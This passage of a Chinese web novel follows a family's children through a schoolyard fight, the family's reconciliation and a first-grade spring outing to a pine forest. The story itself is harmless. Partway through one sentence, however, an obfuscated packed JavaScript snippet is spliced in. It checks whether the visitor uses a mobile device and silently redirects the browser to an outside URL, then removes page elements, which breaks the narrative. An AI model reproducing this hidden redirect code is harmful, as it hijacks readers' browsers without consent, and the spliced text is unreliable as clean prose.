因而,班主任通知的时候,像是藏了一个很大的惊喜一般,吊足了他们的胃口:“我们这学期春游要去的地方,可是一座大山,老师提前看了照片,山林美景就像画一样,同学们期待吗?” 同学们期待得不得了,高兴地七嘴八舌地讨论起来。 这时候是蒋澈和蒋婧做了同桌,蒋婧怀着激动的心情说道:“阿澈哥哥,那我们又可以买好多零食是不是?像上次那样去野餐了!” 蒋澈:“对,我们一回家就让我爸爸妈妈带我们去超市。” 获得了一个可以有正当理由吃很多零食的机会,蒋婧双手撑着下巴,眼睛里全是祈盼的光亮,已经开始遐想想要购买的零食。 世界上还有什么事情是比背一大袋书包的零食去春游更幸福的呢,她喜上眉梢地想到。 因为这个消息,下午的课堂上,学生们明显静不下心来。 最后一堂课前的课间,蒋婧坐在自己的座位,跟跑过来和她说话的原娴约定买什么零食互相分享。 没注意到底是发生了什么,身后突然发生了桌椅碰撞的声音。 等到蒋婧回头,就只看到蒋熠和一个男同学扭打了起来,两个人都又凶又犟,下手没个度,一个流鼻血,一个手臂擦伤,把周围的同学都吓得退开来。 蒋澈冷着脸劝架,见制止不住,立马跑到了办公室去叫老师。 班主任气的火冒三丈,气势汹汹地过来,提了两个人去办公室,让其他人接着好好上课。 蒋婧担心地看向蒋熠离去,他眼睛里冒出怒火,不善地看着那个同学,像是有什么天大的解不开的过结。 蒋澈看着她说道:“没事的,老师已经通知了我妈妈让她带去医院检查了。” * 放学的时候,是蒋彬来接的他们俩,带他们去了超市。 蒋澈和蒋婧两个人在超市畅游了许久,因为愉悦的时光涌来,很快把蒋熠的事抛之脑后,心满意足地选了很多零食。 逛超市的过程中,蒋彬时不时就要接打电话,和妻子同步着消息。 回到家,蒋澈和蒋婧各自拖了一大袋零食,说说笑笑进门,沙发上手肘上缠着绷带的蒋熠见了,坐都坐不住了,立马跑过来,情绪激烈地说道:“你们为什么不等我一起去超市?!” 常蕙见他动作粗犷,气得胸口都要爆炸了:“蒋熠,手都脱臼了还给我不老实,过来坐下,别再乱用你那只手了!听到没有!” 蒋熠死死拽着蒋婧的购物袋,满腔的怒火像一股喷发的气流,不止歇地冲击着他。 “你们都不等我一起!” 蒋婧一下子有些惊慌无措,发愣地说道:“可是你下午没有再回教室了。” “那你们也可以先回家,等我一起的嘛!为什么不等我!” 蒋澈:“阿熠,你干嘛凶她,大不了等会再去一趟就好了嘛。” 蒋彬自下午接到常蕙电话起,就一直存着火,这会儿见小儿子还是一副混世魔王的样子,脾气是一点压不住,劈头盖脸地训斥道:“去什么去,今天不会带你去超市,你出息了你,一年级就和人打架,把人打了送到医院去检查!” “你自己动动脑筋想想,我哪次收拾你动过你的头,那是能上手去打的地方吗?还好是没什么问题,要是真有什么事,你怎么搞?你说你一天天不把心思放在学习上,老跟人打架是干什么?” “这是第几次了你告诉我?我三番五次教你,动手解决不了问题,你倒好,骂的时候答应的我好好的不会再犯,转头一次比一次打的严重。” “来,你告诉我,要怎么着,怎么罚你,你才会长记性,昂?” “我没错,我就是没错!他就是该打!” 蒋熠低着头,眼泪糊了满脸,还是攒着劲儿憋着没哭出声,等到爸爸的话终于停出间隙,执拗地逼视他,说道:“我想你再带我们去一趟超市。” 牛头不对马嘴的,蒋彬在原地怒燥地踱了下步,像是生气到了极点已经不愿意再说:“好好好,软硬不吃,去什么超市?你给我回房间面壁思过去儿,什么时候想清楚了,知道自己哪错了再出来!” 蒋熠吸了下鼻涕,看了一眼蒋婧,然后像一阵穿堂风,哐哧哐哧地跑回了房间,极为用力地把门关的震天响。 蒋彬听到这声音,又忍不住怒骂了几句,气喘不顺地坐下。 常蕙见两个孩子还心惊胆战地站在门口,缓下了脸色,对他们说道:“没事啊,阿熠的事,和你们俩没关系。你们干你们的事,去洗洗手,准备吃饭了。” * 吃饭前,她们上来叫了一次。蒋熠把门反锁着,默不作声,常蕙在门口喊了很多遍都没动静。 她摇头,又气又心疼,朝蒋婧招招手:“走了,阿婧,不管他,等他肚子饿了就会出来了。我们去吃饭。” 趴在门上喊蒋熠出来的蒋婧也没法,忧心地看了一眼门,跟着三伯母下楼吃饭去了。 吃完饭,马上就要到爸爸妈妈来接自己的时候了,蒋婧很是焦急地在蒋熠的房门口敲门,想让他出来。 “蒋熠,你不要生气了,你出来吧,好不好?” “我们明天还要去春游呢,你不高兴吗?” 里面传来一声委屈的怒吼:“你们去超市都没有叫我!我都没有买到零食!那我明天去吃什么?!我不去!!” 蒋婧趴下来,用手拢着嘴巴说道:“我可以把我买的分给你,蒋熠。” “我不要!我要自己买的!” 房间里,原本趴在床上狂哭的人,随着门外的声音,一点点挪到了书桌,又挪到了沙发,最后直接在门边坐下。 他刚过来,门外却没有了声音。 “蒋小婧,你还在吗?” 无人回应的好几分钟,蒋熠继续伤心欲绝哭了起来。 连蒋婧都不理他了,他完了,他不会再懂幸福和快乐是什么滋味了。 “阿熠!” 门外又传来了声音,蒋熠顿时停了哭声,卡着脖子硬邦邦地、装作不耐烦地说道:“干嘛?” “我把我的钱都给你,你不要哭了好不好。” 时间仿佛被胶水黏住,他忘了回应,只是失神地望着从门底的缝隙里,一张又一张被塞进来的百元整人民币。 蒋婧在门口,抱着自己的小猪存钱罐,很艰难地用小手从里面掏着塞进去的钱,把所有存起来的压岁钱都给他从门缝送了过去。 “我们可以在明天早上,用这些钱去学校门口的超市给你买一些零食。” “虽然那个超市里的东西不是很多,但是你也有自己买的零食了,就能和我们一起去春游了。” 蒋婧脱下自己的儿童手表,也试着从门缝里把它塞进去,说道:“阿熠,我的手表也给你,我爸爸说了,里面的钱永远不会不够,我想买什么都可以。你一直想要能有一个儿童手表花钱,我以前不给你是因为我也只有一个,但是现在我愿意把它送给你,你不要哭了。” “这个手表太大了,塞不进去,我把它放在门口了,你打开门就能拿到了。” 有一种从来没有经历的酸涩却又感动的情绪,像汹涌而来的洪流,冲泄开心口的堤坝,让他无声地落泪。 “喂?蒋婧?你走了吗?”等他哭完,情绪平复下来,他又问道。 他没听到回音,打开门,门外已经没有人,只有一支表带制作精美的豆沙粉儿童手表安静地躺在地上。 * 蒋彬和程与英一起来接闺女回家,进门察觉到夫妇俩愁闷的情绪,立马询问了起来,这才得知了事情的来龙去脉。 四个大人坐在客厅吃着水果聊着天,蒋源开导道:“三哥,我们小时候也不是没打过架,那年轻气盛的,都是因为还没学会正确的处理方法,才会用打架来表达情绪和解决问题。你这一上来都没问阿熠是因为什么打架,就给人骂了躲起来,也不合理。” 蒋彬叹气:“他那暴脾气,上来就像点了引线的炮仗,说炸就炸,根本不给一点缓冲的时间。” 常蕙吐槽道:“说的好像你不是这样一样。” 程与英轻笑了一声。 因为四叔四婶的到来,原本沉滞的家庭氛围又缓和起来。这时候,蒋澈才觉得是找到了最佳的解释时机,在爸爸不那么生气的情况下,吐露出幕后因果。 “爸爸,回来的时候阿熠想要再去超市,是因为我们明天要春游了。” 常蕙一惊:“春游?什么时候通知的?我怎么不知道。” “家长群昨天晚上就发了,你是不是又给漏看了?”程与英提示。 她拿出手机,好不容易从上百个群组中找到家长群,浏览完错过的通知。 “还真是,我这真是!唉,实在是工作置顶的群也多得数不过来,下次有什么通知你记得提醒我看一下啊与英。” 程与英理解地含笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630274|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点头。 常蕙这下又心疼起儿子来,转头对蒋彬发难:“你自己兜的气,自己去哄啊,必须今天让人给气消了,不然明天去春游了还生气,那得多可惜。” 这厢倒是轮到蒋彬反思了,他摩挲着自己的胡茬,拉长了声音说道:“我这不是不知道明天要春游吗?两小孩放学就说要先去超市,我也没多问,以为他们就是嘴馋,就带着去了,哪想到还有这一遭。” 蒋澈也跟着反思起来:“我当时应该记得给弟弟也买一份的,但是我不小心忘了。” 主要是他鲜少和蒋婧单独一起玩,没有蒋熠在,他们两个人心贴心在超市里选购零食,蒋澈感觉自己掉进了多巴胺的气泡海洋,幸福快乐得不知天地为何物,弟弟的事自然就被自动屏蔽了。 这时蒋婧从楼上吧嗒吧嗒地走下来,看到爸爸妈妈来了,兴奋地扑过去。 程与英抱住她,问道:“阿熠哥哥出来了吗?” 蒋婧眉毛轻拧着摇摇头:“他好像还在哭。” 还是得有一个人当和事佬,蒋源起身,对蒋彬说道:“你先别急,到时候两个人一碰又是吵,先等我去帮你打探打探。” * 本以为要费好一番功夫才能哄的人开门,倒没想蒋源刚敲了几下,门就被打开了,仿佛就等着这一刻似的。 “四叔,怎么是你,蒋婧还在吗?” “在楼下呢。四叔可以进去吗?” 蒋熠开门让他进来,两个人促膝在沙发上坐下。 “我爸呢?” “在下面反省呢。” “真的假的?他刚刚还像个阎王一样呢。” 蒋源扯了扯唇角,温和地拍拍他的肩膀,说道:“你爸爸都不问青红皂白就把你骂了,刚刚四叔已经批评他了,那他肯定得反省。” “至于你呢,再有理由对别人有意见,都不能用动手打人的方式解决,这是你的不对。” “你们俩各打五十大板,四叔这话没错吧?” 蒋熠认同地点点头。他虽然性子冲,但脑子灵光,心思不坏,只要是自己捋顺了的逻辑,便不会蛮不讲理。 “那你告诉四叔,你是因为什么和那个同学打起来的?” 蒋熠面露考量地看了眼他:“我说了四叔你别生气。” 蒋源感到诧异,云淡风轻地说道:“我能生什么气?” 蒋熠很短暂地犹豫了一会儿,才坦白道:“那个男生坐在婧丫后面,我看到他趴下去捡笔的时候偷偷去看婧丫的裙底,我在幼儿园上过性别教育课的,老师说了女孩子的那个地方是不能去看的,我就一下子气炸了!忍不住了!就把他抓出来,给了他一拳。” “四叔,不瞒你说,整个班,哦不,整个年级,我敢打包票,就没有哪个男生能够打过我的。之前二伯教向恒哥哥打拳,我也跟着学了,哪里打的最痛,什么角度最有力,我都还记得.....四叔?” 蒋源握紧了拳头,此时也是气炸了,忍不住了,从喉咙里挤出几个字:“你是说我闺女,在学校被人欺负了是吗?” * 楼上房间里忽然又传来了蒋源气急败坏的咒骂声,听起来情绪很是失控,依稀还有蒋熠的声音说着“四叔冷静!”“四叔你说了不生气的!” 底下几个人大眼瞪小眼,都不明所以。 蒋彬起身:“别急,我去看看。” 等他上楼进去,常蕙和程与英接着聊了几句,又听到了蒋彬气急败坏的咒骂声,依稀还有蒋熠和蒋源的声音说着“爸爸你就说你这气是不是生错人了?”“三哥,这事真不能怪阿熠了!” 常蕙有些迷惑地眯眯眼,说道:“这三个人是在干嘛?” 等三个人下来的时候,蒋彬和蒋熠之间的父子隔阂完全消失了,不仅消失了,反倒有了同仇敌忾的意味。 蒋源下来先把闺女抱了起来,亲昵地蹭蹭她。 蒋彬则是把手臂搭在儿子肩膀上,说道:“很晚了,你们快带阿婧回去休息吧,至于我们刚刚商量的事,明天电话联系。” 蒋源应下来。 “至于阿熠小子,穿上你的外套,爸爸带你出门买零食去!” 蒋熠消了气,这会儿又开始摆谱,故意抿嘴忍住要上扬的嘴角,说道:“爸爸,这几天你都得对我好点,你冤枉好人,必须得做出点补偿的表现。” 蒋彬给了他一皮坨:“你还蹬鼻子上脸了。爱护妹妹是对,但动手打人还是错的,你该受的罚一点都不会少。动作快点,走了。” * 几天过后,和蒋熠产生冲突的男同学被调到了隔壁班。 班主任初初收到通知很是惊讶,到教务处开会,见是家长自己的意愿,也就没有再好得说什么。 同家长一起走出校务楼时,她询问起那个男同学的伤势。 家长回复道:“请假休养了几天,已经好了。” “那您和蒋熠同学的家长之间,沟通还好?” “对方家长态度挺好的,这事儿闹心的很,两个孩子真要深究起来,各占各的理,各有各的错,干脆聊开,各退一步,也挺好的。” 关键是人一家都把她儿子六年学费都包了,还出了那么大一笔费用,他们同意换个班,倒也没什么。 班主任这下是放心了,对家长说道:“你们两家能和解就好,我还一直担心来着。这个年级的小孩子刚刚开始学会规则性地融入集体,会发生摩擦和冲突很正常,我们做老师家长的,多帮助他们构建正确的行为意识就行,多给他们一些成长的时间。” 那家长赞同地点点头,又说了几句感激的话,这才与老师道别。 52.第52章 春日柔和的阳光暖洋洋地笼罩着大地,印制着城东小学校徽的黄色大巴车从城市中央游离出来,驶向城郊,绕着盘山公路最后抵达至松林山森林景区山脚。 一年级的小豆包们从大巴车上一个接一个地走出来,每人头上一顶明晃晃的小黄帽,成群结队地站在一起聚成一片亮黄色,如同刚出壳的毛茸茸的小鸡仔,叽叽喳喳地说着话。 周中工作日里景区人并不多,但仍然有着疏疏落落路过的游客,忍不住抬起手机记录下人类幼崽们这一幕活泼亮丽的景观。 班主任举着班旗,对着喇叭喊话以整理队伍。孩子们都两两牵手站好了,才一个班一个班地陆续进山。 从景区门口到春游集合地,还有两公里多的原始山路,常蕙担心蒋熠走路胳膊用力扯着发疼,和老师说明情况后,特派了蒋彬把人送过去。 他们到出发点时,大部队已经往里走了很久。 “阿熠小子,你可得对你爸怀点感恩的心,这山高路远的,运个摩托车来送你春游。”蒋彬把儿子提上山路小摩托后座,又给他戴上头盔,戏笑着说道。 “这都是你应该做的,爸爸,毕竟我是伤员。”他指了指自己打着石膏的手。 “你知道自己是伤员就好。等会进去别又转头就忘了,甩着手膀子乱跑,否则回去肿了又有你疼的,记住没?” 蒋熠:“记住了,你快点走吧!不然我要来不及了。” 蒋彬拧了油门控制,常速行驶进去,没多久就追上了他们。 蒋熠坐在摩托车上一眼就看到了牵手走在队伍里的蒋婧和蒋澈,喊了几声试图引起他们的注意。不过蒋彬望着前面路况,很快就开了过去,他使劲儿扭着头往后看,见他们俩牵手凑在一起有说带笑,吃味儿地拉下脸来。 队伍里,蒋婧转头去看了一眼路,却没发现什么,疑心说道:“阿澈哥哥,我刚刚好像听到阿熠的声音了。” “你可能听错了。” “那可能是吧,因为山里的小鸟叫得好刻苦,我听得脑袋都有点晕晕的。” “你只听我说话的声音就不会脑袋晕晕了。等会到了,我们可以一起去找找是什么鸟。” “好呀好呀!” 在大巴车上的时候,蒋澈就把妹妹书包里的所有积累重量的东西都塞到了自己的书包里,让她的书包只装了一包占空间的大薯片。 山里的温度要低一些,风吹过来,一下子激得她打了个小喷嚏。 蒋澈立马说道:“阿婧,你冷不冷?” “不冷,就是有点凉。” “那你和我换位置,我给你把风挡住。” 蒋婧又走到了道路里边,换右手牵他。 山路两旁,杂木林成荫,她低头看着那些散落在草丛间、攀附在灌木上没见过的花,好奇地问道:“阿澈哥哥,你知道这个长得像小喇叭一样的花是什么吗?” “就叫喇叭花。” “真的吗?”她一下子开心地转过头来看他,玻璃珠似的眼睛里神采奕奕,笑容无比明朗,语气雀跃地又说道:“我是植物天才吧!” 蒋澈怔怔地看着她,好一会儿才从出神的沉思中惊醒过来,也学着她雀跃的语调说道:“嗯!没错!阿婧一定就是植物天才吧!” 他们又对视着,嘻嘻哈哈笑作一团。 一路上,他们漫步边际地从这里,一下子又说到那里,脑海里出现什么就说什么,接连不断,任何琐碎细小的话题经过他们的谈论,都好像变得有意义起来,使得徒步的过程一点也不枯燥。 等到达目的地整休,孩子们都已经有些疲惫了。 在老师的视野范围内,他们被允许自由地结伴享用午餐。 半山腰是遮天蔽日的墨绿色松针林,高耸入云的松树树冠如盖,像天然成型的流光灯罩,让浸穿下来的阳光洒落出斑斑点点的光影。 林间坡面上是较为平坦的草甸,踩上去厚实又柔软的凋落的松针,宛如一块巨大的棕色地毯。 直立行走的方式改为阶梯式攀爬,蒋婧被蒋澈用力从后面托抱着往上举,艰难地伸着小短腿翻上有她身高那么高的地儿。 他们一起嘴里念念有词地鼓劲:“一、二、三——” “好了好了,我上来了阿澈哥哥!”蒋婧努力地喘息着平复心跳,跟着蒋澈走到坐在不远处的岩石上、早就抵达的蒋熠身边。 蒋熠一直望着他们,等他们走近,骄傲地说道:“怎么样?我是不是很有脑子,我来的最早,选的这个地是最高的,不用和他们挤在一起。我特别让体育老师把我放在这里等你们的。” “不错,阿熠,你总算是干了件好事。”蒋澈放下书包,有条不紊地从里面翻出妈妈准备的野餐垫铺好,让蒋婧坐下先休息,又把三个人书包里的便当和零食都摆了出来。 蒋婧正把头仰成90度,一个人在原地360度缓慢旋转,看着满眼的绿色,惊叹地自言自语道:“这里好漂亮啊!这是就是森林深处吗?这里是不是会有一个精灵旅社?” “那都是动画片里的,都是假的。”蒋熠说道,把屁股从梆硬的石头挪到野餐垫上,拍拍身边的位置:“你快过来,婧丫,我们现在要吃饭了。” “来了!” 蒋婧捧着个饭团,目光不住地梭巡着大自然的一草一木,沉浸于自己的世界里,想象着这里会有什么样的故事发生。 蒋熠第n次发现她又走神没回他的话,戳戳她,哀怨地说道:“蒋小婧,你的脑袋怎么老是乱飞。” “你说什么?什么在乱飞?”她新奇地发问,当真以为有什么,转过来去看他身后的天上 “.......”蒋熠盯着她看,气恼地咀嚼着嘴巴里的东西,把手里剥开的粑粑柑递到她手里。 “我说,我帮你把橘子剥好,你就不用担心手上黏黏的。”他求表扬似的还是又说了一句。 恰好这时候原娴和夏小蝶过来,站在下面叫了蒋婧一声。 她立马被转移注意力,趴过去听她们说话。 “你要和我们一起交换吃的吗?大家都在下面换,你和我们一起去玩吗?”原娴抬头问道,看着蒋澈和蒋熠两个人在,声音并不敞亮。 班上的男生集体和女生集体像是有一道无形的壁垒,除非坐过同桌或前后桌,否则很少能够自发地关系熟悉起来。 蒋澈和蒋熠又是班上存在感太强的两个人,一个是男生里一呼百应的社交牛人,一个是学习成绩好、老师又器重的班长,面对他们,她和夏小蝶都有些因为不熟而造成的拘谨。 “要!”蒋婧一手托着橘子,一手抱了自己的便当盒,迅雷不及掩耳之势就要往下跳。 蒋澈和蒋熠两个人非条件反射地惊站起,及时一左一右抓持住她的外套和手臂,辅助她平稳落地。 蒋澈:“你要注意安全,阿婧!你去一会儿就马上回来知道吗?” 蒋熠:“你不准把我给你剥的橘子跟别人换,你要自己吃,自己吃!你听到了吗蒋小婧!” 蒋婧一落地就跟着她们兴冲冲地跑了,什么都没说,徒留下一个轻快的小小背影。 两个人一时相顾无言。 “你手还好吗?” “没事,哥,我没用伤的这只手,就是扯了有点疼,但是还好。” 蒋澈扶着他坐回去,又看了眼远处的蒋婧,说道:“那你坐着别动了,休息会儿。” * 不知道过去了多久,蒋澈决定抛下弟弟先去把妹妹找回来。 蒋熠随即跟票:“我也去!” “你胳膊不能用力,你就在这里坐着吧。” 蒋熠不听,又和哥哥互不相让地怼嘴起来。恰当这时候,下面传来了蒋婧的声音。 “阿澈哥哥!” “阿婧!”蒋澈惊喜地走过来,说道:“我下来把你举上来!” “不用不用!”蒋婧摆摆手,垫着脚把自己的便当饭盒递给他:“阿澈哥哥,你帮我放一下。” 蒋澈接过,见便当盒里原本做相可爱的饭团和小甜点都空了,说道:“你全部都换了吗?还是自己吃光了?” 蒋婧在底下摇摇头,从俯视的角度看,整个人越发显得圆头圆脑、圆脸圆眼的,像个Q版的大头手办娃娃。 “谁想要我就给谁了,我吃不下他们给我的东西了。” 蒋澈难言地夹着眉头,问:“那你吃饱了吗?” “饱了!” “渴不渴?” “不渴!”蒋婧在原地跳了一跳,不乐意再浪费时间唠家常,对他说道:“阿澈哥哥,你把我的书包给我一下!你把里面的薯片拿走,我只要一个空的书包!” 蒋澈按她说的做。 蒋熠见她没打算留的样子,问道:“你这是要去干嘛?” “我要和她们去探险了!” 蒋澈:“我跟你一起。” “不行阿澈哥哥,我们是女生的游戏,不能带你。” 蒋澈受挫地瞳孔微缩,不信邪地发出疑问:“什么游戏只能你们女生玩?” “那只有女生,就是只有女生的游戏嘛,你别管了~” “我走啦!”她背上空书包,和他们挥挥手,又欢欣鼓舞地跑走了。 蒋澈怅然若失地坐回去,拿起书,没滋味地翻了几页。 蒋熠也百无聊赖地躺在野餐垫上,闭着眼睛,心里凉凉地说道:“这次春游好无聊啊,我是一个木头人吗?我只能呆着这里,像个空巢老人一样等着蒋小婧回来。” 蒋澈懒得回应他,只是颇有同感地“唉”了一声。 * 几个女生围在一起,一人拿着一根木棍当登山杖,领头的夏小蝶激情地在前面讲着恐怖故事,带领她们往山上走。 蒋婧走在最后面,对恐怖故事不感兴趣,再次跌入了自己的小世界。走一两步,就这边蹲一下,那边蹲一下,远远望过去,像个不断冒头又躲起来的小蘑菇。 原娴因为恐怖故事而感到背后有鬼风似的,害怕地一回头,见蒋婧已经落下了很远,连忙跑了过去。 “你怎么不走了?” 蒋婧盯着一棵松树上凝固的松树脂,发现了天大的宝藏一样,在原地跳了一下,转头对好朋友说道:“原娴,你看!这是森林宝石吗!” 原娴也好奇地凑过来。 凝胶状的、像琥珀的金黄色松树脂,在阳光下,淡淡地折射出蜂蜜般温润的光泽。 “好漂亮!你知道这是什么吗?” 蒋婧摇摇头:“我不知道,我上去看看。” “上去看看?” 原娴话音刚落,蒋婧就放了书包,开始爬树。 她震惊于好朋友的隐藏技能,见她两三下就灵活地攀到那里,说到:“蒋婧!你居然会爬树!” “我的....你等等我数数...第三个堂哥哥教我的!”蒋婧清脆地说道,攀着树,把那颗凝固的松树脂取了下来,塞进裤兜,又往下踩了几步,然后哐哧跳了下来,一屁股跌在松树针甸上。 “你好像一个蜘蛛侠哈哈,你的屁股不痛吗?”原娴把她拉起来。 “一点都不痛!我跳舞的时候经常摔屁股的,我的屁股很能摔。” 蒋婧拍拍裤子后面上沾上的草,把那颗松树脂拿出来递给她:“原娴,这个送给你!” 原娴诧异地张圆了嘴巴:“你不要吗?这个好好看的,你要送给我吗?” “对啊,你拿着,我们可以再找找其他的树,如果其他的树上还有,我再给自己拿一个。这样我们两个就都有森林宝石了!你看过那个动画片没有,森林宝石会给深夜里被赶出王国的公主带来魔法,让她再次找到回家的方向!复仇成为女王!” “可是我们不是公主,公主应该每天都穿的很华丽,在王宫里玩耍,而不是像我们一样穿着校服在学校里读书。”原娴说着,又看了看好朋友在微光下的侧脸,竟是有些看呆了。 “不过蒋婧,你就很像公主。” “我吗?” “对啊,你像公主小时候。我们所有女生都觉得你是班上最好看的,当然了,除了李知博,她总觉得自己是最好看的。” 蒋婧像个山霸王巡山似的,举着木棍这扒扒那挥挥,眼睛东看西查地找着每棵树上是否有松脂,听她说完,又抽神回复道:“可是公主不是靠长得好看成为公主的,公主是因为有了森林宝石才成为了公主!” “要是她们不会爬树,就拿不到森林宝石,拿不到森林宝石,就不能成为公主,再成为女王!” 原娴有时候觉得,如果不知道蒋婧到底在心里幻想了一个什么样的故事,会很难跟上她的脑回路。 她明明是想说,你很漂亮,这样漂亮的人是自己的朋友,她觉得很高兴。 班上的其他女生都想和蒋婧成为好朋友,但是只有她是蒋婧班上最好的朋友。 原娴还想说点什么,耳边传来了急速的跑步声和夏小蝶的呼喊:“鬼来了!快跑啊!” 她吓得一个机灵儿,拉了蒋婧的手就一起往集合的地方快跑。 班主任见几个女生撒欢儿似的从森林里的长坡上尖叫着跑下来,把她们招过来警示道:“别乱跑啊,在老师看得到的地方玩儿!” 蒋婧和原娴牵着手一边跑一边笑,停下来的时候笑得肚子都岔气了。 “你们到底在跑什么?”跑的太莫名其妙,蒋婧没有感到一点社交困难,就轻易地询问出口。 “不知道啊,她们跑我们就跟着跑,你们呢?你们在跑什么?” “我不知道啊,你们跑,我们就跟着跑啊!” 班主任听了也跟着笑,注意到原娴手里拿着的东西,“哎!”了一声,抓住机会给孩子们科普。 “你们找到松脂了呀?你们知道这是什么吗?” 蒋婧和原娴并肩站在一起,同步地摇摇头。 “这是松树的创可贴,松树为了防止害虫和病菌侵入,就流出树脂密封住伤口。所以我们最好拾捡自然脱落的松脂,不要强行去取还在凝固的松脂。” 蒋婧上前一步:“对不起老师,我不知道松树是这样的树,我以为这是森林宝石。” 班主任笑的温和,说道:“没关系,这个摘了就算了,以后你就知道了。” 原娴想把松脂还给她,说道:“蒋婧,只有一个森林宝石了,那你拿着吧。” 蒋婧推回去,说道:“不要,我想送给你,我想你当森林公主。” 原娴感动地握紧了那颗松脂,一下子抱住了她。 “好了,我们马上要开始玩集体游戏了,大家准备一下,积极参与!获胜的话可以有奖品哦。”班主任正在招揽着同学们加入游戏。 蒋婧听到获胜就开始燃烧起熊熊的胜负欲,殷切地问道:“老师,我们什么时候开始比赛?” 班主任看看表:“十分钟后吧。” 蒋婧如临大敌,表情尤为有使命感的对答应了和她组队的原娴说道:“原娴,你等我一下,我马上就会回来的!” 原娴点点头:“好,我等你。” * 守着弟弟睡了一个香甜的午觉,蒋澈决定再给他睡十分钟。十分钟后,他就要把人叫起来,然后自己去找人去了。 疯玩这么一会儿,就算不饿,也应该抓回来让她喝点水。 不期然的是,蒋婧自己回来了。 “阿澈哥哥!阿澈哥哥!” 蒋澈放下书,舒了口气,说道:“你怎么跑了一头的汗,你别动,我跳下来把你举上来。” “不用不用!阿澈哥哥!我很急的!”蒋婧急切地摆着两只手,对他说道:“爸爸在我的书包里放了创可贴,我刚刚让你抖出来了,你帮我找一下!递给我一下!” “你哪里受伤了?!” “我没受伤阿澈哥哥,但我来不及和你解释了,你快点先拿给我,就是那个蓝色的小盒子,对对对!” 蒋婧接过创可贴,再次扭转方向,加足马力继续奔跑,很快又没了影儿。 蒋澈在风中微微凌乱了一瞬,看了眼身后睡的酣畅的弟弟,想了想,还是妹妹重要。 他便跟着也跑了过去。 蒋婧气喘吁吁地跑到那棵松树下,又猴子似的爬上去,把印了爱心的卡通创可贴,撕了好几个把此前拿掉松脂的地方贴上。 她很是抱歉地摸摸松树的伤口,哄着它说道:“对不起小松树,我不是故意把你的创可贴撕掉的。你要快点好起来,不要再受伤了。” “还有就是,谢谢你把你的创可贴给了我,我把它送给了我最好的朋友,所以就不能还给你了。不过你给了我森林宝石,我们就也是好朋友了,我以后还会来看你的。下次来的时候,你的伤口是不是就会好啦?” “祝你早日康复,小松树。” 蒋澈见她动若一只小松鼠,叽里咕噜地从树上爬两步,就要往下跳,连忙跑过去接住她,跟着一起摔进了草甸里。 他们帮各自拍拍屁股,嬉嬉笑笑地一起走回去。 * 在老师们组织的集体游戏们结束后,孩子们最后把垃圾给捡起来带走,合影留念后,今天的春游活动就结束了。 他们 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班主任表示理解,扬了声音说道:“蒋婧同学年纪最小啊,体力可能跟不上大家,我们让哥哥带她先走好不好?” 同学们都友善地拖着声音说:“好~” 蒋婧却摇摇头,对蒋彬说道:“三伯,我要自己走的。” “这走过去还有好远呢,上来三伯送你。” 她还是摇摇头,煞有其事地说道:“我还想再走回去的时候看看我的小喇叭花。” 蒋澈握紧妹妹的手,也跟着说道:“那我也要自己走了,爸爸。” 蒋彬再三劝说不行,也就先载着蒋熠走了。 蒋澈看着她冒着薄汗的脸,试图振奋她的精神,找出一个话题说道:“你今天和你的朋友们一起玩很开心吗?阿婧?比和我、阿熠一起玩还要高兴吗?” 蒋婧说道:“我今天开心啊,阿澈哥哥!我和朋友们玩开心,和你们玩也开心。” “那哪个更开心?” “嗯...这我不知道,我觉得都很开心。” 蒋澈很惆怅地吐了口气。 蒋婧看向他,晃晃两个人牵在一起的手,问道:“你怎么了阿澈哥哥?” “我觉得今天过去的好快,都没有和你一起玩开心,因为你都去和其他同学玩了。”蒋澈有些羞意地说着,又给自己找补道:“不过,你今天开心就好。” * 又继续走了一阵子,蒋婧终于又看到了早上的一丛丛牵牛花。 她惊奇地“咦?”了一声,兴奋地对蒋澈说道:“阿澈哥哥,我记得它们早上是蓝紫色的,你看它们现在都变成了粉红色!就是它们看起来也像我们一样累累的了。” 蒋澈跟着看向那些花瓣边缘微微卷曲起来的牵牛花,说道:“我下午看我带来的植物百科,上面说了,牵牛花就是会变色的,而且只有早上的时候开的好。它还有一个更好听的名字。” “叫什么?” “朝颜。” 蒋婧跟着念了一遍,问道:“朝颜是什么意思?” 蒋澈回忆了一下书上的内容,解答道:“可能就是说只在早晨存在的笑容。” 蒋婧怜惜地看着那些缩起来的花,说道:“希望它们以后能够学会在晚上也笑一笑,因为,其实,不是只有早上值得笑一笑的。就算很晚了,天黑了,也有很多值得笑一笑的理由,是不是,阿澈哥哥?” “嗯,你说的对。” 蒋澈看着她绯红的脸,又问:“那你现在有什么笑一笑的理由吗?” “我们走在一起说话?我觉得这样很开心,你呢,阿澈哥哥。” 她的话像一个吸尘器,将他心里的小疙瘩一点一点地回收掉。 蒋澈眼底有细碎的光芒闪动:“我也觉得我们这样一起走很开心。” * 大巴车行返到学校,由家长接回。 蒋婧一下车,程与英都快要笑背过去气了。 她早上打扮得整洁漂亮的小闺女,如今头发乱糟糟的,脸上灰扑扑的,更别说蹭的乌漆嘛黑的运动校服了。 蒋婧拖着身体扑进爸爸怀里,哀叹道:“我好累爸爸!” 蒋源把书包递给了一边的妻子,把她抱起来,说道:“辛苦了宝宝,我听你三伯说,你都是自己坚持走回来的,实在太棒了!” “当然啦,这点小路,有什么的。就是我的脚有点罢工了。” “我们晚上回家好好用热水泡一泡脚,爸爸给你按摩按摩,明天就好了.” 晚上约定了去蒋彬家聚餐,他们从学校慢悠悠地步行过去。 程与英颠了几下沉甸甸的书包,察觉到不对劲,一边拉开拉链一边问道:“你书包怎么比早上出门还重,带的东西都没吃吗?” 拉链一打开,就掉落出了几颗圆鼓鼓的松果。 “妈妈!我捡的松果!” 两个哥哥闻声去把掉出来的松果都一一捡了放回到书包里,望着那一书包满满当当的松果,对照在沙滩上捡贝壳的样子,想象她是怎么一个人一点一点地在森林里捡松果,眉眼里染上了柔软的笑意。 程与英更是被打败般笑着摇摇头:“蒋小婧,你捡这一大书包松果回来干什么?” 